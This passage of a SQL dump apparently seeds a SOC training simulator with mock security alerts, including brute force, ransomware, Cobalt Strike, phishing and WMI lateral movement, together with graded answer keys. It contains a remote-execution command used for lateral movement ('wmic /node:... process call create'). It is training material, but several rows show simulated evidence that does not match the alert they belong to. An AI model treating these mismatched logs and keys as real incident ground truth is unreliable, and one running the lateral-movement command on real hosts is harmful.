(838, 'Failed Brute Force Login Attempts Detected from External IP', 'medium', 'Linux Server', 'Multiple failed login attempts detected from an external IP, indicating a potential brute force attack.', 'Brute Force', 'T1110', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T16:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.100\",\"dst_ip\":\"192.168.1.55\",\"username\":\"admin\",\"hostname\":\"web-server\",\"failed_attempts\":25}', '2026-01-14 15:19:37', '2026-02-22 15:15:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The volume and pattern of failed attempts suggest a brute force attack from a known malicious IP.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.499Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"dst_ip\\\":\\\"192.168.1.55\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(839, 'Unauthorized Port Scan Detected from Internal IP', 'low', 'Firewall', 'An internal IP was detected performing port scans across the network, likely an internal security test.', 'Suspicious Activity', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-01-14T18:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"security_test\",\"hostname\":\"security-scanner\"}', '2026-01-14 15:19:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The activity matches the profile of an internal security scan, not a malicious attack.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(840, 'High Volume of DNS Requests Detected from Internal IP', 'low', 'DNS Server', 'A significant number of DNS requests were observed from an internal IP, likely due to a misconfigured system.', 'Anomaly', 'T1071', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-14T20:15:30Z\",\"event_type\":\"dns_request\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"8.8.8.8\",\"hostname\":\"misconfigured-device\"}', '2026-01-14 15:19:37', '2026-02-17 05:27:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"8.8.8.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Public DNS server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly\",\"analysis_notes\":\"The high volume of DNS requests is likely due to a misconfigured internal device, not a security threat.\"}', 'Intermediate', 'CORE', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.501Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T20:15:30Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"8.8.8.8\\\",\\\"hostname\\\":\\\"misconfigured-device\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(841, 'Ransomware Detected - LockBit 3.0 Encryption Activity', 'critical', 'CrowdStrike', 'CrowdStrike detected a ransomware encryption activity involving LockBit 3.0 on an internal host. Evidence of encrypted files and ransom note found.', 'Malware', 'T1486', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T03:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.10\",\"username\":\"jdoe\",\"hostname\":\"GOV-WS123\",\"command_line\":\"C:\\\\Program Files\\\\LockBit\\\\encrypt.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-01-14 15:21:38', '2026-02-16 17:57:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address indicating the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\LockBit\\\\encrypt.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known LockBit 3.0 ransomware executable.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with LockBit 3.0 ransomware.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"LockBit 3.0 ransomware activity confirmed by malicious file hash and command line execution.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(842, 'Cobalt Strike Beacon Detected from External IP', 'high', 'Splunk', 'A Cobalt Strike beacon was detected connecting to an external IP, indicating potential command and control activity.', 'Malware', 'T1105', 1, 'investigating', 174, '{\"timestamp\":\"2026-01-14T10:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"svc_account\",\"hostname\":\"GOV-SERVER01\",\"command_line\":\"c:\\\\windows\\\\system32\\\\net.exe use\"}', '2026-01-14 15:21:38', '2026-02-26 04:49:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks and C2 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP associated with the suspicious network activity.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"External IP associated with known C2 activity confirmed as malicious, indicating a potential breach.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(843, 'Phishing Email with Malicious URL', 'medium', 'Proofpoint', 'A phishing email impersonating a government official was detected, containing a malicious URL leading to credential harvesting site.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T08:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"192.168.1.101\",\"email_sender\":\"gov-official@phishingsite.com\",\"hostname\":\"GOV-MAIL01\",\"url\":\"http://malicious-site.com/login\"}', '2026-01-14 15:21:38', '2026-02-16 16:56:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with multiple phishing attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL leads to a credential harvesting site.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"gov-official@phishingsite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain known for phishing activities.\"}}],\"expected_actions\":[\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a malicious URL linked to a phishing site, confirmed by external OSINT.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL\",\"date\":\"2026-02-01T20:32:22.504Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(844, 'Failed Brute Force Login Attempts', 'medium', 'Wazuh', 'Multiple failed login attempts detected on an internal server, originating from a foreign IP address.', 'Brute Force', 'T1110', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T06:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.168.1.200\",\"username\":\"admin\",\"hostname\":\"GOV-APP01\",\"failed_attempts\":30}', '2026-01-14 15:21:38', '2026-03-03 12:16:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple brute force attempts globally.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP address is associated with malicious activities, as confirmed by OSINT.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:31:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:30:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:29:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:28:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(845, 'Suspicious WMI Activity Detected', 'high', 'Firewall', 'Suspicious WMI activity detected originating from a compromised host attempting lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T04:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.70\",\"username\":\"malicioususer\",\"hostname\":\"GOV-SERVER02\",\"command_line\":\"wmic /node:192.168.1.70 process call create calc.exe\"}', '2026-01-14 15:21:38', '2026-02-16 05:11:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Target internal IP address for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.70 process call create calc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command used for lateral movement.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Suspicious WMI command execution indicates lateral movement activity.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(846, 'False Positive - Regular User Login', 'low', 'Splunk', 'A login attempt flagged as suspicious due to multiple location changes but verified as legitimate user activity.', 'Credential Access', 'T1078', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-14T09:15:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"8.8.8.8\",\"dst_ip\":\"192.168.1.102\",\"username\":\"jane.smith\",\"hostname\":\"GOV-LAPTOP01\"}', '2026-01-14 15:21:38', '2026-02-18 09:08:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"8.8.8.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate user account confirmed.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_access\",\"analysis_notes\":\"User login verified as legitimate after review of travel schedule and access logs.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 